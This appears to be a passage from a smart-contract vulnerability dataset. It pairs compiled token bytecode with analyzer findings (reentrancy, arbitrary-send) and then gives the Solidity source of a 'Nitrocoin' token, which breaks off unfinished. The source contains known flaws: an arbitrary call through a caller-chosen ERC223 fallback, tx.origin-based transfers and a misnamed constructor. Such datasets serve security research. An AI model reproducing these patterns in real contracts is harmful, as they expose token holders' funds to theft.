ffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a819055506014600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f0cfb1ffce486da7fece1295511269f60f40973bb4dc2748e7dd99ffd009bb164736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,676 |
0xa32f986d638afb6bd81e74b7a4fc653625ffb1b4 | pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Authorizable
* @dev The Authorizable contract has authorized addresses, and provides basic authorization control
* functions, this simplifies the implementation of "multiple user permissions".
*/
contract Authorizable is Ownable {
mapping(address => bool) public authorized;
event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization);
/**
* @dev The Authorizable constructor sets the first `authorized` of the contract to the sender
* account.
*/
function Authorizable() public {
authorized[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the authorized.
*/
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
/**
* @dev Allows the current owner to set an authorization.
* @param addressAuthorized The address to change authorization.
*/
function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public {
AuthorizationSet(addressAuthorized, authorization);
authorized[addressAuthorized] = authorization;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token from an address to another specified address
* @param _sender The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferFunction(address _sender, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[_sender] = balances[_sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_sender, _to, _value);
return true;
}
/**
* @dev transfer token for a specified address (BasicToken transfer method)
*/
function transfer(address _to, uint256 _value) public returns (bool) {
return transferFunction(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC223TokenCompatible is BasicToken {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if( isContract(_to) ) {
_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
return transfer( _to, _value, _data, "tokenFallback(address,uint256,bytes)");
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_to != address(this));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Startable
* @dev Base contract which allows owner to implement an start mechanism without ever being stopped more.
*/
contract Startable is Ownable, Authorizable {
event Start();
bool public started = false;
/**
* @dev Modifier to make a function callable only when the contract is started.
*/
modifier whenStarted() {
require( started || authorized[msg.sender] );
_;
}
/**
* @dev called by the owner to start, go to normal state
*/
function start() onlyOwner public {
started = true;
Start();
}
}
/**
* @title Startable token
*
* @dev StandardToken modified with startable transfers.
**/
contract StartToken is Startable, ERC223TokenCompatible, StandardToken {
function transfer(address _to, uint256 _value) public whenStarted returns (bool) {
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value, bytes _data) public whenStarted returns (bool) {
return super.transfer(_to, _value, _data);
}
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public whenStarted returns (bool) {
return super.transfer(_to, _value, _data, _custom_fallback);
}
function transferFrom(address _from, address _to, uint256 _value) public whenStarted returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenStarted returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenStarted returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenStarted returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract HumanStandardToken is StandardToken, StartToken {
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
approve(_spender, _value);
require(_spender.call(bytes4(keccak256("receiveApproval(address,uint256,bytes)")), msg.sender, _value, _extraData));
return true;
}
}
contract BurnToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Function to burn tokens.
* @param _burner The address of token holder.
* @param _value The amount of token to be burned.
*/
function burnFunction(address _burner, uint256 _value) internal returns (bool) {
require(_value > 0);
require(_value <= balances[_burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_burner] = balances[_burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_burner, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns(bool) {
return burnFunction(msg.sender, _value);
}
/**
* @dev Burns tokens from one address
* @param _from address The address which you want to burn tokens from
* @param _value uint256 the amount of tokens to be burned
*/
function burnFrom(address _from, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender]); // check if it has the budget allowed
burnFunction(_from, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
}
contract OriginToken is Authorizable, BasicToken, BurnToken {
/**
* @dev transfer token from tx.orgin to a specified address (onlyAuthorized contract)
*/
function originTransfer(address _to, uint256 _value) onlyAuthorized public returns (bool) {
return transferFunction(tx.origin, _to, _value);
}
/**
* @dev Burns a specific amount of tokens from tx.orgin. (onlyAuthorized contract)
* @param _value The amount of token to be burned.
*/
function originBurn(uint256 _value) onlyAuthorized public returns(bool) {
return burnFunction(tx.origin, _value);
}
}
contract Nitrocoin is ERC223TokenCompatible, StandardToken, StartToken, HumanStandardToken, BurnToken, OriginToken {
uint8 public decimals = 16;
string public name = "Nitrocoin";
string public symbol = "NRC";
uint256 public initialSupply;
function Token() public {
totalSupply = 25000000 * 10 ** uint(decimals);
initialSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
